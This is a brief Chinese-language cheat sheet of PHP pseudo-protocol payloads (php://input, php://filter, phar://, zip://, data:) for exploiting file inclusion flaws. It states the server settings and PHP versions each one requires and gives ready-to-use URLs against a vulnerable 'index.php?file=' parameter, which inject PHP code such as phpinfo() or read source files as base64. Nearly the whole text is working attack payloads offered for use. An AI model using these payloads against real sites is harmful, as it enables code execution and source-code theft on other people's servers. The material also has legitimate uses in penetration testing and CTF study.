伪协议
参考
php://input
利用条件
- allow_url_include = On。 - 对allow_url_fopen不做要求。
index.php
?file=php://input
POST:
<? phpinfo();?>
php://filter
filter的过滤器有很多。
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
phar://
(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)
index.php?file=phar://test.zip/phpinfo.txt
zip://
(PHP 5 >= 5.2.0, PHP 7, PECL zip >= 1.1.0)
绝对路径,编码#
index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt
data:
(php>=php5.2, allow_url_fopen = On, allow_url_include = On)
index.php?file=data:text/plain,<?php phpinfo();?>